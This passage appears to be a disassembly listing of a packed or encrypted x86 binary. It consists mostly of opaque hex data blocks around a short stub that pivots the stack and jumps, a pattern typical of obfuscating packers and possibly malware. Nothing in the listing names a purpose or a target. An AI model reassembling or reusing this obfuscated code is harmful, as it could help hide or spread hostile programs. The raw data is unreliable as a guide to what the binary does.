		dd 780D2376h, 8566858Bh, 0C3F505E7h, 0D8E0Fh, 0BF600000h
		dd 1EFEF0ACh, 870Fh, 60610000h,	0D9BD83F5h, 5E78Bh, 56850Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 2F8F62C3h, 99B2A489h, 0FD7486Fh, 484h, 0E18A6000h
		dd 18F0F61h, 0F9000000h, 8BD985C7h, 13F05E7h, 810F0001h
		dd 10h,	0BE9h, 7302900h, 0B5D03910h, 0AB969D48h, 1FE9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 7429224Ch, 20CDh, 0C00B0000h, 708D3774h
		dd 6EBD8B0Ch, 0B905E785h, 8, 492275A6h,	488BFA75h, 6A9D8B30h
		dd 3B05E785h, 157F3458h, 0D26BD38Bh, 8BCA0304h,	66858901h
		dd 0EB05E785h, 0EB008B04h, 858B61C5h, 5E78566h,	1D8D0FCFh
		dd 60000000h, 14E9D08Bh, 0F1000000h, 0FD47A4FCh, 3473DED1h
		dd 932CF6BBh, 709A26Fh,	61368563h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 30C35141h, 0FF061C3h, 1284h
		dd 0DE900h, 571C0000h, 74B007Fh, 2D21B105h, 60DAF46Ah
		dd 48F0Fh, 0B9660000h, 0E96108FDh, 10h,	1321DFBBh, 59B84EFCh
		dd 6AAEE5BCh, 0D6BEAFF7h, 0E5E9C08Bh, 10000000h, 0DCFFEE4Dh
		dd 1D1F3271h, 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh,	7F2D773Dh
		dd 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h
		dd 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6D171E57h
		dd 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh,	20A1E4A9h
		dd 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h, 20206020h
		dd 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h, 0A7286020h
		dd 50F0362Bh, 0B6F360D6h, 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h
		dd 6DB9E9B3h, 602060F7h, 60206020h, 6DF72020h, 73351ADFh
		dd 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh,	7F2D773Dh
		dd 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h
		dd 37335375h, 357D2F6Dh, 0E0A1Eh, 0A766C1A8h, 43F2FD54h
		dd 5FC05ED2h, 0DDBE9h, 90286800h, 2FE905E7h, 68FFFCF0h
		dd 5E7916Fh, 0FCF025E9h, 922B68FFh, 1BE905E7h, 68FFFCF0h
		dd 5E7932Eh, 0FCF011E9h, 93C768FFh, 7E905E7h, 68FFFCF0h
		dd 5E794B9h, 0FCEFFDE9h, 960B68FFh, 0F3E905E7h,	68FFFCEFh
		dd 5E79754h, 0FCEFE9E9h, 981B68FFh, 0DFE905E7h,	68FFFCEFh
		dd 5E798E8h, 0FCEFD5E9h, 99AD68FFh, 0CBE905E7h,	8DFFFCEFh
		dd 0D64C53CAh, 38E2E562h, 8B9736B1h, 0D34F4EC9h, 37E0E762h
		dd 255C1188h, 7BF478A2h, 8F08CE54h, 22A51208h, 784504A3h
		dd 54EC72FAh, 0CC570C7Ah, 47D101E6h, 5B345497h,	0AB01B83Fh
		dd 0C57EF02Ah, 84127CF7h, 8B0C6E3h, 0B0246E2Bh,	8B215E1Eh
		dd 0BF556758h, 0E7BDE5h, 5C13D3Fh, 191B644Fh, 9B4F05C1h
		dd 20ED2E58h, 5DEF71E6h, 0C388EF1Bh, 0A80F8EC3h, 0E9955742h
		dd 0D1BAE03Dh, 682FAD1Ah, 0E93A3217h, 92D3B254h, 54E91090h
		dd 0E644B9ECh, 4654E90Fh, 0A86FA095h, 7745C272h, 18B913FCh
		dd 0F9D35402h, 0D685814Ah, 6DEA3057h, 0A09514C3h, 1052D708h
		dd 963D54E9h, 106CCE37h, 7C854E9h, 5A00004Ah, 0FA88AFBh
		dd 0D30454E9h, 0DC5F1C06h, 0A7BDAB9h, 54E91028h, 9C865384h
		dd 73F1CEDFh, 0F154E910h, 6DFFCD3Eh, 0CF5D6FEEh, 2238900Fh
		dd 0C79B31B6h, 26F53D65h
		dd 3EBD5C44h, 592A18BFh, 8233F8F3h, 5E6h, 49C077D5h, 0B2F35273h
		dd 4F04E5B0h, 327C15Ch,	0AED89F7Bh, 7F31216Dh, 0BEB64597h
		dd 8B02C9D5h, 46C4B104h, 0A759BE87h, 739D54E9h,	0BD0F40C7h
		dd 0E9A2A48Ah, 72ED6054h, 9417C466h, 959D65C4h,	7246C174h
		dd 6D3D8CC1h, 8A97EC25h, 38C033F9h, 17000000h, 12106DCCh
		dd 0C24F04E6h, 1774FBEEh, 0E92A54BDh, 0B904D2Ch, 93CB5179h
		dd 18FF305Eh, 0E93F4E27h, 5F6DAE54h, 0E8FB86E8h, 3979C154h
		dd 0F8DE93F0h, 10EC433h, 77130000h, 0E97349C0h,	24067F64h
		dd 804F04E6h, 0BC4E1A4Fh, 0B9C0A53Fh, 653C406h,	91FD035Eh
		dd 0FA2F06B0h, 0E94BB41Bh, 4B4F05C3h, 7F8DCF88h, 68E368F8h
		dd 8B4A5037h, 2815BC0Ch, 4F05C44Ah, 5B3469AAh, 0C866FB44h
		dd 0E96E4F05h, 4B36F6Eh, 0CDBA3785h, 0C6B7884Fh, 2654E9E4h
		dd 440812F5h, 0E96BF1CBh, 4D503D6Eh, 0B0268D7Ah, 3CB7A537h
		dd 402FAEC1h, 0A3625788h, 0D02BC742h, 8232685Ah, 2495B705h
		dd 1BA770A5h, 0A82D75D8h, 0C174AE31h, 0C5936146h, 0B018222Ah
		dd 0A7EF1h, 659C5F00h, 0B730B862h, 0C84F0A10h, 609B5DC5h
		dd 0B930A57Dh, 0E3B60116h, 4AD0F772h, 908A0D8Ah, 0E43EA1DAh
		dd 2AD1F477h, 76280A7Bh, 0E68454ECh, 56DCCA9h, 82E24D5Ch
		dd 0A280C153h, 624F05B5h, 857670F7h, 900FCEC8h,	27A6150Dh
		dd 23BD3A60h, 84368B94h, 0C18AFF65h, 778DFBEh, 4F051625h
		dd 1601635Ch, 0B0634F05h, 0C6E5736h, 684F0516h,	309972A7h
		dd 2AED6FD8h, 0E90860D5h, 5F1B0754h, 7F7754Ah, 827554E9h
		dd 0BEC87B51h, 0D6D0BD3Ah, 0B10B8C4Ch, 0C47B5182h, 54E90862h
		dd 3E07E6EDh, 54E9083Ch, 0EE9813D8h, 3A66602Dh,	0F8EB90F3h
		dd 0CBF933h, 771C0000h,	71EA60C0h, 0DF9EAC3Ch, 42D708A0h
		dd 424F04EAh, 0B8C0B95h, 1703DC3Eh, 0FDCF4A0Bh,	13721546h
		dd 0BFF1734Ch, 80734F05h, 8D0CCBD7h, 7ED5823Fh,	440B7CFBh
		dd 0B51E995Eh, 0E2A0EDD2h, 3BFC54E9h, 0AA88F554h, 0A54E9DDh
		dd 1A790CC9h, 0D1EFE430h, 0E90D8EECh, 0E12DEE54h, 0B21F33E0h
		dd 0C98C0EC7h, 0D0354CF4h, 2097F35Ah, 11C2ECA9h, 7FE1544Eh
		dd 1A9E4F2Ch, 616459A6h, 9C5E2802h, 41BE0680h, 4CCB8A94h
		dd 2A99A36Fh, 0CDB42422h, 937h,	0B9DC5718h, 6F6EE961h
		dd 1C8306B3h, 0B4DB5406h, 6D70EF6Eh, 29ACFDB8h,	43F32FAEh
		dd 9359C1C4h, 2EAD7518h, 329128AFh, 0EC776FCDh,	0E0BFCD54h
		dd 444BC677h, 0FF9E19DEh, 60C0776Eh, 0EA5973ECh, 0E658DA2Bh
		dd 63D44F04h, 84336F2Eh, 0FA004805h, 0F4DBFA7Dh, 9EC72C9Eh
		dd 6431EEB2h, 28E53505h, 0DD9AEBAAh, 5954E97Bh,	99F13E96h
		dd 1053B1A0h, 386225A7h, 0B2A13BB4h, 7BA706D9h,	9496EFFCh
		dd 104A3117h, 0C021EADFh, 50153F53h, 8205B2E8h,	56503D36h
		dd 2D9AD7E5h, 0C197E8AFh, 2353B466h, 46F52DF0h,	581A00C7h
		dd 0FD568DDFh, 0BB30EAh, 0FD8179BBh, 1BDA7E26h,	87Bh, 7D609B5Ch
		dd 13B235A5h, 0C0C742F7h, 781F985Ah, 11B433A2h,	6DE0B904h
		dd 8737D3F2h, 0DF9D8508h, 6AE1395Ch, 7655ECF3h,	0EC782B09h
		dd 0A4F38954h, 12106DCCh, 924F04E6h, 5A6375A1h,	2F96B085h
		dd 38B33862h, 0FA7835A0h, 0B8CD2A1Bh, 0E62954E9h, 0FD7F4027h
		dd 7F54E9AFh, 0EDCCD3BCh, 7E8803B5h, 259441FEh,	0DA2BEA68h
		dd 5AD13DCFh, 7DA568ABh, 9290EDFEh, 124F082Ch, 8AE9EC21h
		dd 0D93B53A0h, 11C29611h, 7045D7C5h, 0EFFC7BA7h, 8BE9496h
		dd 7BC6104Fh, 6746CD6Ah, 0B41B4C81h, 5C6CEB6Eh,	33AE2AE7h
		dd 2815F87Ah, 54EFE5E8h, 664590Ch, 6654E9E5h, 859D40B5h
		dd 0EA3057D6h, 442BEA6Dh, 0E9E4F97Bh, 0DFB87B54h, 9517C0FDh
		dd 0E863E832h, 0E55AD825h, 19DA54E9h, 4794E9BCh, 7C5ACE17h
		dd 65EB0316h, 927F03E0h, 0D04F0EE8h, 86E4D9F8h,	0E64F0586h
		dd 2E8FC035h, 222C5B10h, 789859F3h, 59000007h, 0A2781F96h
		dd 0F42EB136h, 47C3C245h, 0AF7B1A95h, 0FB2CB32Eh, 0F168EDBCh
		dd 78034EEh, 5BDC9A80h,	0EE69EE34h, 0C7150EFh, 54EC792Eh
		dd 0D8A3F88Eh, 22C9F46Fh, 37219C7Bh, 43BC03C2h,	4F0521E1h
		dd 60C79043h, 0ECAEC31Fh, 61D73154h, 2C61D2E6h,	1B83169h
		dd 8DFB8ABh, 4B0BA512h,	8D595BD5h, 5D8EF331h, 0FCE3D40Fh
		dd 63C13E9Dh, 0C154EC10h, 9259450Eh, 5B14411Bh,	0B00976D9h
		dd 45AD014h, 13FE7C41h,	947E4F08h, 3F70A526h, 29CC72BEh
		dd 62C38922h, 6DFh, 1843FB0h, 0B7D65119h, 646BEE6Bh, 1C833CBEh
		dd 0B5D85706h, 91445560h, 2BAB7716h, 7BF129ACh,	9645DDC0h
		dd 9AC97017h, 0EC78C7A5h, 8472554h, 2AED6FD8h, 3CBEE44Bh
		dd 0E5E04283h, 95C4F04h, 4E63634h, 1045B64Fh, 73737E47h
		dd 0FD0754ECh, 6EECFC7Fh, 0CBCE826h, 25164BFBh,	0FD970862h
		dd 3F91C0CDh, 0C62CF352h, 0AEA77921h, 0D65104A4h, 5FDD22E5h
		dd 0DD54EC9Eh, 0E655B11Ah, 3DBA6067h, 6EA32693h, 1DB66F5Ah
		dd 578CDC5Fh, 0C6DCA362h, 0FC49413h, 2A9D7D42h,	18DB5AD4h
		dd 6FEE6DB5h, 8205B268h, 90167CC3h, 15883236h, 0EC80E223h
		dd 3BFC4F04h, 4F5B7A5Eh, 0C0A28388h, 3C4F04EBh,	6ECD86FBh
		dd 0DC5B1AB1h, 52CE24EBh, 0FFFDE872h, 0F5CA9D76h, 54E9BA28h
		dd 7CD4839Fh, 0F96A7EF9h, 523F3484h, 44C6E728h,	0F71C4868h
		dd 5ED9C65h, 0DCE0000h,	0A317F392h, 0F079A124h,	0ACC5679h
		dd 0A1140E91h, 4776A726h, 6164E352h, 1BBA35B9h,	0CFCE490Fh
		dd 6265E453h, 0B9BB84DBh, 3B54EC79h, 0C077164Dh, 0DA9C8649h
		dd 7246C188h, 73C8CC1h,	7FFC0E4Ah, 1ED4C8E5h, 0A192D955h
		dd 0B730A4FEh, 42652E25h, 593CBE77h, 0B5278941h, 40F3C93Ah
		dd 0ACF3097h, 6A54E944h, 4A2C13A9h, 0CA54E937h,	2C3E8A0Dh
		dd 0CD5933ADh, 778DFC8Bh, 2194B602h, 60A54A6h, 0E32FFBCEh
		dd 0F8DC592Ah, 3C8233h,	0E7230000h, 6FE4F473h, 0E6CC35A2h
		dd 0E9488812h, 22894295h, 8618DE75h, 0E31980C7h, 0B10B7C37h
		dd 0B18E5182h, 54E92DBCh, 62E5F738h, 54E8E9FCh,	468FF357h
		dd 33F8CCFDh, 0D16Eh, 0C077A900h, 64E97349h, 0DEC02AEDh
		dd 3C5E6079h, 0B02BADF9h, 86ECF5E7h, 74B8E802h,	0FC26F3F2h
		dd 0E863D57Fh, 500725B7h, 0AD2C76D9h, 0E15E612Ah, 4F050E70h
		dd 0EC6DC774h, 8D95386Dh, 407D4FCEh, 4DB21597h,	54E92740h
		dd 0C1B4DB1Ch, 50379614h, 22AE8CF1h, 0CD0E54E9h, 0E9229694h
		dd 68251654h, 0CC18A895h, 0BB7C5ACFh, 8D0ACED4h, 0F44B043Fh
		dd 2DB02FAEh, 69E040F5h, 3469DAEEh, 2A6695B7h, 472EAA22h
		dd 49Bh, 5D40FB7Ch, 0F39215C5h,	0A027A217h, 587FF87Ah
		dd 0F19413C2h, 4D009924h, 0E757B3D2h, 3FBD6568h, 4A0119BCh
		dd 5635CCD3h, 0EC7C0B69h, 44136954h, 444BC677h,	3F9E19DEh
		dd 0E6056758h, 0AD674F04h, 98829A5Ch, 15FE3333h, 6FD8E572h
		dd 6F4B2AEDh, 0ED2F269Dh, 11884FCDh, 0FA5788BBh, 0E913C0B5h
		dd 14FB3C54h, 0FBD14E0Eh, 0BAB88548h, 3A54E913h, 15BC1CF9h
		dd 0F8D04B0Dh, 1486E4D9h, 35E654E9h, 482E17C0h,	0CC54E914h
		dd 2C3E8A0Dh, 19C2CAFh,	1AB179B9h, 8CED4BBh, 0D9063D8Fh
		dd 54E9145Bh, 0B9BB84D9h, 3B54E913h, 80CA87F8h,	0F6FA4980h
		dd 0D06333F8h, 0AA000000h, 7349C077h, 0A854852h, 904541h
		dd 0ED6ABCD4h, 43194A18h, 4EE8B9Ch, 4DCC8B4Fh, 58DA2B8Ah
		dd 844F04ECh, 582E3598h, 4F7F3E1h, 69EE344Bh
		dd 0AFFBDAEEh, 16E5AE29h, 0C047F259h, 61E652E8h, 72A7984Bh
		dd 0F9215293h, 937D54E9h, 5275A621h, 1735AE67h,	5435494Fh
		dd 1FFEA192h, 6D35603h,	0CFCD2A39h, 0CA8D4E5Ah,	91BE3F6Bh
		dd 7C9CEACh, 0B8ED2E4Fh, 8702B3DFh, 0FE49A100h,	0F2EE607Fh
		dd 0F362AC69h, 95BF7774h, 0D870222Ah, 35219h, 39B02300h
		dd 4BCC8C96h, 9C1BDE44h, 34AF21F9h, 4DC48991h, 0B7E2DD4Ah
		dd 1E048B06h, 64BE215Eh, 0C85275F6h, 7E058803h,	7D54D62Fh
		dd 0AAD054ECh, 4BC677FDh, 0B719DE44h, 53E8A05h,	7718CDD0h
		dd 0E97349C0h, 9017C262h, 36A2F85Fh, 6F281BB1h,	4F17FD58h
		dd 4CB11496h, 54E91033h, 0FF7D4203h, 7D54E90Fh,	3E8F49BAh
		dd 0E42882D4h, 450912A3h, 0F73C99CAh, 0F91F2C19h, 0F659DB94h
		dd 0CB4E0B17h, 0A88942F1h, 0F6BAD04Bh, 63E31A70h, 0C29C8565h
		dd 1EAA6D09h, 85FAEAA3h, 0F33A2BA7h, 3EE1D205h,	21998FC1h
		dd 4302F5F9h, 0BF189747h, 0AB05B2E8h, 5A7DAE29h, 31A82F7Bh
		dd 3ABD3A64h, 5AD0B7BDh, 551CBC80h, 28Bh, 6D70EB6Ch, 38205B5h
		dd 0B0D75207h, 686FE86Ah, 18403B2h, 7DF0A914h, 9747C3C2h
		dd 2FAD7518h, 7AF129ACh, 6625DCC3h, 0EC7E1B19h,	0B4E39954h
		dd 8649C077h, 0F85FD89Ch, 4E5A587h, 7BD4074Fh, 0AB6451h
		dd 63F9D34Ch, 0CA3F70F7h, 0F2FD3A0Bh, 0B67954E8h, 8A0DCBD7h
		dd 0F278FACBh, 3F454E8h, 4A503756h, 31B6228Ch, 9A77ECFCh
		dd 0FEB7634Fh, 0BA4997Ch, 0B05ACD1Ch, 87F8ED6Ah, 4F050BA5h
		dd 0B7E3D407h, 197AA9C8h, 0D1DDB636h, 0E349B61Eh, 7E0B9436h
		dd 2AAD2A81h, 3C2916F9h, 58117799h, 0DF88C597h,	0D385FA5Dh
		dd 310E56FCh, 4489FEE7h, 0D80DBAD2h, 0CD8C9675h, 0D685814Ah
		dd 6DEA3057h, 5E71CDEAh, 4612659Fh, 1BEFFh, 0A5DC9F00h
		dd 0F770F822h, 88F4AD0h, 0A0DB9D85h, 0F970E53Dh, 237641D6h
		dd 8A9037B2h, 0D04A4DCAh, 24FEE11Ah, 0EA9134B7h, 7DE84ABBh
		dd 264454ECh, 49C07769h, 0B894673h, 1D9A5E44h, 0BF3EBD4Fh
		dd 0C13E814Ah, 54E8F608h, 0C124AB6Ch, 0C74532E4h, 1F823F00h
		dd 4A295ACDh, 50AF775h,	0C982754Fh, 0C3A26AADh,	3C9910C7h
		dd 0F7F7D5F7h, 6DEF5807h, 78FACBAAh, 0F407F7AFh, 8EF75603h
		dd 0DDBD59Dh, 37A236F9h, 119FC7Eh, 4F84D44Fh, 8CC22382h
		dd 33120342h, 21769BE7h, 6D2621A9h, 0D3CF8E41h,	1BC8E067h
		dd 4B3EFBEh, 11AB2CACh,	9FED4FB0h, 8C4F07F6h, 0BB67665Bh
		dd 243CBD3Ch, 4B693B42h, 0F92081h, 19DA0000h, 0B723FF9Eh
		dd 0C475AD30h, 16D84245h, 0AD20FA9Dh, 3B7A9332h, 6D70EF6Eh
		dd 78601B5h, 0BBDA5D1Bh, 6E71E86Fh, 0AD8FF0D7h,	0F54EC7Eh
		dd 0C0772279h, 5DAC8649h, 0BEB78F30h, 0A411BB14h, 59A669EBh
		dd 54E9F000h, 0A91C8374h, 0A69F7EFCh, 5AD13D43h, 329174A7h
		dd 82D6FCDh, 0C00ACD4Fh, 5F10D3CEh, 0B913FC90h,	0DA9C34A3h
		dd 0E7D80BA1h, 3ABD3AE0h, 7F4027AEh, 4F08ABFDh,	92D3BC7Fh
		dd 0A93071CAh, 0E6BCE4BEh, 2DBF38BCh, 0BA315D36h, 0E53D9C03h
		dd 0FD19F275h, 0B918FF7Eh, 0B50C3351h, 71AEB211h, 0A9298AF3h
		dd 87D5BE71h, 9215C4DEh, 754A0DC6h, 0A9298AF7h,	0CDC98275h
		dd 6ECD900Bh, 298B1311h, 0F55E91A9h, 75BD07E7h,	21A42794h
		dd 146972F9h, 0A9298B16h, 0AD70A596h, 14166FCEh, 90A9298Bh
		dd 8B04665Fh, 8660A929h, 0CE0557D0h, 0D998309Dh, 3, 7751060Ch
		dd 0ED7F4DC4h, 4FDDEF6Eh, 0A0BA0E89h, 319B32Ch,	6785D752h
		dd 0DB617BF6h, 30CA9E19h, 90AA3EB9h, 0B30D5FD8h, 23C068h
		dd 24048900h, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68243C89h
		dd 2351h, 55241489h, 2973FBBDh,	0AC77BF6Ah, 0EF29ACF9h
		dd 0EF81475Dh, 74D2695Fh, 0DFF7DFF7h, 42C4E781h, 0C7815632h
		dd 0C1B74BF6h, 24148B54h, 4C481h, 0B8500000h, 40C142DFh
		dd 4008E8C1h, 25D0F740h, 24286E3Ch, 282E302Dh, 89D00124h
		dd 34FF5838h, 0C4835A24h, 243C8B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54658E
; ---------------------------------------------------------------------------
		db 18h,	0EDh, 65h
		dd 0AB825DC4h, 33CD7AD2h, 0A2F1ADF4h, 0E79ACBB8h, 0FFC50305h
		dd 2D5FAEE0h, 4734B75Eh, 2354AA6Dh, 0F1B94E31h,	449DFE69h
		dd 20ADDE3Fh, 51110210h, 145FA009h, 0C3EBF277h,	0D42AE557h
		dd 3C8C4411h, 0BF26A35Ch, 0C3CB895Eh, 0B1A49026h, 36B35A5Ah
		dd 68F8FF0Ah, 0B02CFA2Fh, 31C02725h, 0F3612F04h, 1517714Ch
		dd 0B2AE4203h, 3DAF1070h, 91C3AA0Fh, 78A65126h,	0FB2FA353h
		dd 0B946043Dh, 137BBE3Bh, 30EE5D37h, 7AB4842Fh,	8C377221h
		dd 4A5D1277h, 14E848h, 7D630000h, 48124783h, 0D9C2FA00h
		dd 1E2319B0h, 0F141BEA0h, 6051328Eh, 0B70FF18Bh, 5A5961FAh
		dd 0BE1E7FBEh, 40C28166h, 0F800005Ah, 1664B8h, 10E900h
		dd 51EA0000h, 8AF26F63h, 759866B7h, 0E03841A7h,	32FF81F0h
		dd 7E8h, 7CA11C00h, 67981805h, 0F616060h, 5F61F9B7h, 74C3815Bh
		dd 0FC7B1D9Fh, 3227C381h, 8B666AC2h, 39C381F2h,	89258B77h
		dd 83F08B1Ah, 8C0F02EAh, 3, 4AF98B66h, 0F08B664Ah, 0D850F48h
		dd 0E9000000h, 22h, 4C933B7Eh, 0AEBEB752h, 28B0Fh, 0C88B0000h
		dd 0FFFF9DE9h, 0B04006FFh, 9AE31806h, 8BCA91D8h, 48E94329h
		dd 50000001h, 54000000h, 58000000h, 5C000000h, 60000000h
		dd 64000000h, 68000000h, 6C000000h, 0B0000000h,	0B4000000h
		dd 0B8000000h, 0BC000000h, 0C0000000h, 0C4000000h, 0C8000000h
		dd 0CC000000h, 0D0000000h, 0D4000000h, 0D8000000h, 0DC000000h
		dd 0E0000000h, 0E4000000h, 0E8000000h, 0EC000000h, 38h dup(0)
		dd 0D3000000h, 0EB005784h, 8D00A050h, 0E79CAA85h, 0CBB70F05h
		dd 9DEA8589h, 0EE8105E7h, 7BA2EA1Dh, 2A4985C6h,	815405E4h
		dd 0F9CB2C1h, 0E781665Ah, 3468A681h, 81B1C99Bh,	0F31D2434h
		dd 9D295FABh, 5E40371h,	26F5B5FFh, 0AE805E4h, 3B000000h
		dd 939761C0h, 90456C28h, 8E946h, 0CAAF0000h, 37E17E59h
		dd 8D598A36h, 0E76D3085h, 0B19D3305h, 0FF05E417h, 0DA8166D0h
		dd 858936EFh, 5E79DEEh,	55E9F8h, 0DE90000h, 93000000h
		dd 5AADBF2Bh, 2736CAEAh, 3203F91Bh, 0EAB58B56h,	8905E79Dh
		dd 0EA858306h, 405E79Dh, 8D60C35Eh, 0E79CAAB5h,	560FEB05h
		dd 36FF006Ah, 9DEE95FFh, 835E05E7h, 3E8304C6h, 61EC7500h
		dd 0D1B529C3h, 0F05E407h, 68Ah,	830F00h, 8D000000h, 0E79E9185h
		dd 158D8905h, 8905E41Fh, 0E4258585h, 75E905h, 66600000h
		dd 4A8D88Ch, 35840Fh, 16A0000h,	28E5B5FFh, 858D05E4h, 5E76D30h
		dd 8589D0FFh, 5E41031h,	0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah
		dd 1000Dh, 103195FFh, 32E905E4h, 0C6000000h, 0E42A4985h
		dd 0DF685605h, 0FFA9C530h, 0E426F5B5h, 30858D05h, 0FF05E76Dh
		dd 8D8589D0h, 8D05E423h, 0E41FCD85h, 206A5005h,	0FF56056Ah
		dd 0E4238D95h, 0C1C36105h, 39EB06E0h, 0C00000h,	0C002CCh
		dd 0C002E4h, 0
		dd 478B0AD3h, 76920694h, 22830E80h, 4F880A83h, 4E824D17h
		dd 76A86351h, 22AA2FDAh, 52A91701h, 4AB20DC2h, 468706A1h
		dd 9C8003E9h, 9DE9F88Ch, 4226E882h, 0CBE1AEBDh,	22E6638Fh
		dd 5B903FEEh, 9ECF5940h, 0C0E22486h, 0F9A2BE0Eh, 9F650286h
		dd 270275DBh, 0A1EF163Dh, 0C6C46E23h, 3B92634Ah, 0E26D30F7h
		dd 22E2DA6Bh, 3763EAE9h, 0AFE387D6h, 0C44E88E7h, 79359C38h
		dd 2F5BE0C6h, 22E3876Dh, 71B674D3h, 22E2DA6Bh, 3763EAE9h
		dd 0AFE387D6h, 0C443B9E7h, 79359C38h, 22EC8AC6h, 0A63A634Fh
		dd 40F2B2B4h, 0F2538B5Bh, 0CAB06383h, 22E663F7h, 7C253D5Ah
		dd 26C217B4h, 26C2271Fh, 22E66358h, 252535E1h, 1755758h
		dd 0C6C7DE64h, 7526E8F1h, 0C75B74C5h, 0A720393Ah, 270249D7h
		dd 24666C19h, 0BE663A7h, 0C6CABE4Eh, 22E28BECh,	9AB463F4h
		dd 25FFFD2h, 729A9198h,	0CA17E8FEh, 22E66341h, 55958C54h
		dd 4DE50722h, 0ECEC83FBh, 9D805C39h, 43BE8AD1h,	26C227B6h
		dd 4D07D9F8h, 0EA6C63C4h, 26C2272Eh, 22EEE2DCh,	70B663E9h
		dd 13E94F45h, 0A2BE3B20h, 9719C1E3h, 2702456Bh,	0E27E6C6h
		dd 0A76B6643h, 27010EE3h, 700FE28Fh, 48369C2Ah,	210E307Ah
		dd 2E6633Dh, 0ABBDA0C5h, 0A3E24713h, 3EE247E3h,	61E663D3h
		dd 823A0BAh, 0A1936F11h, 487BD6C5h, 97E70339h, 2702789Bh
		dd 4A875FFFh, 0C877421Dh, 22E66C3Ah, 0A6DF7FE9h, 99C0726Ah
		dd 58A88D92h, 8463306Ch, 64C2671Fh, 48F30DA1h, 210E35A7h
		dd 2E663D3h, 0ABB8A0B7h, 0A3E24780h, 3EE2473Eh,	64E6633Dh
		dd 3511A0C8h, 0A11E64C7h, 2D88A6B7h, 260E956Ch,	0CEE663E9h
		dd 71E663F6h, 22E66893h, 0C4BAD23Dh, 0D05DA38Bh, 0FC9AA731h
		dd 0A98033FEh, 6A2E821h, 22E98BEDh, 0D1163F4h, 0E38F62BBh
		dd 410CAE86h, 0C705FA60h, 2E0F0324h, 75E663A7h,	62967893h
		dd 25023093h, 4211DE20h, 0A9B9021Bh, 0EA6D053Dh, 26C22717h
		dd 7A1DE829h, 0CAB363CDh, 22E663D0h, 7F253EC9h,	26C20F7Dh
		dd 26C227FBh, 22E66328h, 0E2536DBh, 276B6CDDh, 9CE663A7h
		dd 7D831C43h, 228C6383h, 22E58BA2h, 7CC6637Ah, 566F3DFEh
		dd 666767BAh, 22FB676Bh, 74A063A7h, 0C7F28110h,	0C6965C5Fh
		dd 443EA6B6h, 0F21998F1h, 0CAB56357h, 22E6639Dh, 7925386Fh
		dd 26C23F2Eh, 26C22752h, 22E663F0h, 2F2530B7h, 5EB9DD8Ch
		dd 0AB37E896h, 0C6F56213h, 7163EA4Ah, 2DE38438h, 22E66F57h
		dd 246B6CE9h, 2BE663F4h, 0C6FCCECFh, 271EE838h,	22E66152h
		dd 0BDB1E6C6h, 0E2656640h, 7963EACBh, 11E38476h, 200ADA34h
		dd 8815637Ah, 63C9D95Bh, 228CA915h, 22E58B18h, 7DC663A7h
		dd 5E6F3C10h, 666767CDh, 22F167D0h, 75A1637Ah, 0F1DFC6FEh
		dd 535BE87Ch, 0E4E3876Dh, 0C6CC2A22h, 228C20D6h, 22E58BB8h
		dd 7BC663F4h, 6E6F3AB9h, 66676719h, 22FD67BAh, 73A7634Fh
		dd 0C1FDC264h, 5ACC03Ch, 7C8E9656h, 0CA3BD200h,	22E66375h
		dd 568A2A23h, 21D0AD3Bh, 9D8E384Eh, 2DA290E7h, 22E66158h
		dd 78B830E9h, 22C25775h, 0A9A7B5E5h, 0D7539CC5h, 2DE387B8h
		dd 0A76B95F0h, 27010E97h, 0CAB563B9h, 22E663EAh, 792538D4h
		dd 26C23FF3h, 26C227BCh, 22E6638Ah, 5725300Ch, 584F8426h
		dd 0E56762D3h, 64B1FA85h, 228CB30Bh, 22E58B2Dh,	7DC6633Dh
		dd 5E6F3C5Dh, 6667676Bh, 22F36783h, 75A163D3h, 0ABFE5F2Ah
		dd 0C6C3FA71h, 73E6097Fh, 22E660D5h, 0E1BF439Eh, 6AAEA16h
		dd 6A2E2A3h, 22E67FD7h,	0E1B722E9h, 295E962h, 0F0014291h
		dd 4763EE43h, 48E3878Ch, 210E344Fh, 2E663A7h, 0ABB9A08Ch
		dd 0A3E24795h, 3EE247B0h, 65E6637Ah, 0A1D5A06Ah, 0BA81BD83h
		dd 0CB5659F3h, 22E663AEh, 0C05DB30Ch, 0D3FDFCEDh, 8363EAB4h
		dd 13E3875Bh, 0C6CC46A0h, 6B63A59Bh, 71E38765h,	0CAB063CDh
		dd 22E663D0h, 7C253DC9h, 26C2177Dh, 26C227FBh, 22E6632Bh
		dd 0C2535D8h, 0D467B34Dh, 2DC5C965h, 22E6673Bh,	93AEBBE9h
		dd 0AFE93208h, 22E66379h, 7C1EE85Bh, 0E55805CEh, 6A2E85Fh
		dd 2DE6E8A3h, 22E6665Fh, 2F90DDE9h, 666F7D5Fh, 9880675Eh
		dd 48BEB244h, 210E329Eh, 2E6634Fh, 0ABBFA0FEh, 0A3E2479Fh
		dd 3BE247ADh, 63E663F4h, 1A37A02Bh, 78DB70ADh, 7DBEE17h
		dd 971966ABh, 27024552h, 1263EE2Ah, 48E38484h, 210E36F4h
		dd 2E6637Ah, 0ABBBA060h, 0A3E247F2h, 36E2470Bh,	67E663A7h
		dd 94B8A086h, 48369CB0h, 210E34F4h, 2E6637Ah, 0ABB9A062h
		dd 0A3E247E2h, 3AE2470Bh, 65E663A7h, 2C7BA084h,	445245F9h
		dd 83ACA575h, 3227E6F3h, 0ED6D66D9h, 8AFE658h, 48B566ABh
		dd 210E31A7h, 2E663D3h,	0ABBCA0B3h, 0A3E247A0h,	3FE2473Eh
